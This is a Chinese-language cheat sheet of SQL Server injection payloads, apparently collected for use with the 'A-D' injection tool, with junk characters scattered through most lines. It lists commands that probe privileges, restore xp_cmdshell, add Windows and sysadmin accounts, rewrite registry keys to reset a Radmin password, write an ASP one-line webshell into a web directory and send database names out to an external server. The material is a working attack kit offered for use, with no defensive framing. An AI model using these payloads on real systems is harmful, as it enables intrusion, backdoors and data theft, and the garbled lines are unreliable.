阿D常用的一些注入命令9 b* h. U3 M/ d" s9 v/ H7 x8 k) I
//看看是什么权限的8 ~* H% e4 Z# ~$ c* ^
and 1=(Select IS_MEMBER('db_owner'))
J0 k! t5 Y: G/ n: z! L" ZAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
7 {8 p1 {3 z$ I( f, P- R7 [4 p$ ? R' i9 \8 h# o
//检测是否有读取某数据库的权限5 l. |+ F# z. q: |/ r
and 1= (Select HAS_DBACCESS('master')); b3 _3 S3 Z2 v* O; n6 b. r
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
6 F* R1 D9 W5 k- X5 s. G' a9 {3 n+ g; c6 G# d4 L
! t: g0 \9 m( U2 i: J2 I数字类型
/ |3 n2 }) d: y! fand char(124)%2Buser%2Bchar(124)=0
# ~2 Q; v+ ] g% y4 ~- Q4 u$ Z6 @& L2 F; z5 A, X8 q6 g
字符类型2 Z$ b B1 u2 ?4 L/ ~
' and char(124)%2Buser%2Bchar(124)=0 and ''='
3 ?' r7 M3 b) d2 x7 b" ?* s+ e |* q; g8 F+ y
搜索类型* \: m! w- k+ m+ N) {" \
' and char(124)%2Buser%2Bchar(124)=0 and '%'='& m: K# M, k* P* x+ Q' }
5 j9 G* ~# d' k( z# h- t2 z! f爆用户名
+ ~9 b- F( h4 z$ {. ~6 u% Wand user>0
8 |; r6 u3 l* O7 u2 u2 b, y% k' and user>0 and ''='& V" m& E; A. g
7 g8 p: d& v$ a; C: y; s/ {7 v; D0 [
检测是否为SA权限9 \; R+ X6 b0 f& r9 D! ]) }
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--6 r. t' j! N# K2 c u1 O L
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 -- S1 |4 k( N- s) u" p/ I! {# M
; F7 w" e% ?% T* g( f7 q1 i# K5 W( {# e
检测是不是MSSQL数据库. f- Y* }* ?) ~; V1 ]8 X
and exists (select * from sysobjects);--
4 c3 l- n) x! `4 {
) l8 z* A d% }5 P% M- h检测是否支持多行, E' \; {: K- [& G
;declare @d int;--
. ^: |4 p) i' n. \
/ E- P9 f; N" |恢复 xp_cmdshell' `& t) \0 N) c/ @3 O9 U* w$ m) v
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--4 K* I3 |( x) Z' f/ ]; x& h* o
+ f$ G3 b5 \0 K. \: p0 b' c9 }. C4 h: r
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
. k$ A1 [/ A& d2 b, ~
9 N1 v' }0 r! e7 ~7 _% R- e//-----------------------& m3 h) e! ~1 s, B a
// 执行命令
4 q8 I# T+ J+ p- c4 J2 H% f//-----------------------/ o/ i0 G: g9 `) r& ` N
首先开启沙盘模式:1 e& p1 U- y4 b O7 O/ e; i
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; @2 L" s7 Y, r3 y, M
$ Q" y9 X2 ^6 l; e7 N然后利用jet.oledb执行系统命令
+ a" i: v- b4 z: ^select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'): T/ ?1 S2 @, u7 m1 O
3 a- O* F: f7 H) w; f执行命令6 X L: w- Y8 C O0 e
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--* W* ?3 E$ y( |, {8 f
- Z2 S5 H9 v* E0 c" [EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'& D+ N' m7 |7 h/ ^; q
' ]! r/ P# o* g6 o$ D7 e! @
判断xp_cmdshell扩展存储过程是否存在:$ b( U+ e- N& `1 t
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')* A; e2 P) T& H8 Q5 i& K0 t
! ~7 X) Z% e+ i& ^: C
写注册表
V$ j+ w0 u6 y4 hexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1+ u: c, P) X' \( y% `
6 C/ Q! j! S X) F- F3 D! y
REG_SZ+ j$ ^- x B' _2 b
8 Y& D4 y: c9 K4 E; d
读注册表6 d3 d9 L4 Y+ K5 ~
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
1 t1 B4 w, a9 P
6 @: ?. f& D: c; n: q! R2 ?; Q读取目录内容
, j4 ^3 u& {+ a9 F, H+ M! u- zexec master..xp_dirtree 'c:\winnt\system32\',1,1) x) B [3 h3 F7 i4 S+ \! _
- l3 C; I" D7 ~' G$ N7 A
0 H" `$ c6 U7 O" z/ e" @! N; V) L
数据库备份$ c9 G8 t- m) v: v& M1 I) o
backup database pubs to disk = 'c:\123.bak'
0 p, W& L" A( g9 }+ s
' X9 x6 F( f$ {( e4 H7 Z: t' s: `//爆出长度5 j, ^8 g: G# Q+ f% o
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
+ ]' _0 J+ Q: O8 b' {* A3 Y- U, V" t6 u# ]* p# i! V- O
; m' l5 _# ?" f( I1 Q- y
! X7 E/ S9 I/ R; t( ?* G+ ?# m更改sa口令方法:用sql综合利用工具连接后,执行命令:* ^: o5 e: g% X) n# C, a* H1 d
exec sp_password NULL,'新密码','sa'3 @* u/ F9 T5 P9 d+ K
; Y w) x8 n K2 |; J6 E; a6 h添加和删除一个SA权限的用户test:
, _% u, G7 D+ K/ j& m, Q$ K4 ]1 U1 Pexec master.dbo.sp_addlogin test,ptlove
, ]% |7 \0 z# uexec master.dbo.sp_addsrvrolemember test,sysadmin
6 N% Z4 y/ n7 r4 V1 M' W+ p# ^
# c7 {* W R$ x! j删除扩展存储过过程xp_cmdshell的语句: 6 u, a; ]" s# ^
exec sp_dropextendedproc 'xp_cmdshell'
" V- Q& J) l/ j* t
. B) w8 j3 Q; W9 h. P, r, Y添加扩展存储过过程
' i) R% A& f) z2 }# }: lEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 7 @: Q5 o+ X! E% j1 u3 O
GRANT exec On xp_proxiedadata TO public
5 z8 l5 U6 K3 s* F( \5 v% \) l! A: I$ H; s, G
6 X, h2 A) G& r# N* _
停掉或激活某个服务。 # c* Q3 N+ x5 o
+ c* g4 w M }. l# |exec master..xp_servicecontrol 'stop','schedule'
: n. O; w' w( i2 r! [, q8 Oexec master..xp_servicecontrol 'start','schedule'
5 C; ~: A7 y4 V# _1 P
' T3 V" a- I, {) Wdbo.xp_subdirs( A( {2 X+ u. k& G
* C& {( |% i9 j' _% n# A( ?( Q+ J" t只列某个目录下的子目录。2 b1 H7 K, b; ^% T* Y
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
$ S$ L2 g2 n. y1 v# s+ F. r
) T! S7 b6 D5 N; y# l. k/ zdbo.xp_makecab
0 T; D: P( e& r; V/ q0 {" s; k7 u7 j- z( T/ G
将目标多个档案压缩到某个目标档案之内。
% Y: S& o2 b* o# p& I/ O所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。2 e6 _0 V* K u1 x
5 y, T9 R' l4 M& tdbo.xp_makecab
' A( s8 A" y' ]6 V2 e% e'c:\test.cab','mszip',1,
2 Y! @2 p* i; W, Z% \. Q* _1 \, p'C:\Inetpub\wwwroot\SQLInject\login.asp',
" ^* v+ S$ }/ P1 T'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
, ]! J$ P. {% I, H) D( y' `/ ]- E& I5 n: U
xp_terminate_process
6 s6 b# v f3 E5 k2 |
2 E! o4 i6 c" [" U停掉某个执行中的程序,但赋予的参数是 Process ID。" m `4 q7 W Y3 J9 f9 G" X
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID( c1 Z9 S( ~% J( }4 c6 v2 ~. ?% Q
9 X) m) _9 O8 G. M1 N- p* oxp_terminate_process 2484
( B1 t R* b. r) ]$ b' k: y* h) D+ F% E# p. T$ z2 y, v, g* v
xp_unpackcab2 z# N0 C ^8 u" ~
9 C/ q2 g; {9 s5 f; R; n# |9 g* W解开压缩档。
+ D1 H4 q* b5 n; s2 D0 S! Q6 {4 P: Z) |) @. n r: C3 M0 D
xp_unpackcab 'c:\test.cab','c:\temp',11 ^! _: K& w M6 }+ U$ i) [
% k9 m: u8 o, Q
% S% x& Y8 o& z0 ~某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234! v2 J7 g' Q9 }$ ~$ L
% V4 t/ u* X/ t: P, ^0 U
create database lcx;
! @9 c% P/ K) ]; {2 y" TCreate TABLE ku(name nvarchar(256) null);" }5 {6 Y- |% x& F: B
Create TABLE biao(id int NULL,name nvarchar(256) null);7 w4 F5 n5 P! \& C* Y- D
/ p3 A: d7 H2 z: H# F j; J0 s
//得到数据库名
' Q+ R' }! U2 r) A& ~* s% T! ~insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases8 C7 I1 t3 b/ K* M. I; Z
1 H9 n4 m, q# F
0 d! }- r% k2 P" w, _/ Q, Z+ ^
//在Master中创建表,看看权限怎样
+ N" `1 d- h, {& B' iCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--) q) n- E) N0 W& P \) b, w
4 w$ b2 s3 c8 V! } p6 s; n用 sp_makewebtask直接在web目录里写入一句话马:# I7 Q( o" I7 x# V2 d) O
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--& `( L1 a7 e7 ^- p' z. r, m
: q& B7 q+ |, N( l, p5 Z o. K+ G//更新表内容- R. R1 b% ~' _/ x# T+ [1 V8 R6 a
Update films SET kind = 'Dramatic' Where id = 123
# }& O" q8 g, R/ n9 u
8 o4 I( c( s: h- B% Y//删除内容! g5 R6 n) p+ Z' [
delete from table_name where Stockid = 3 |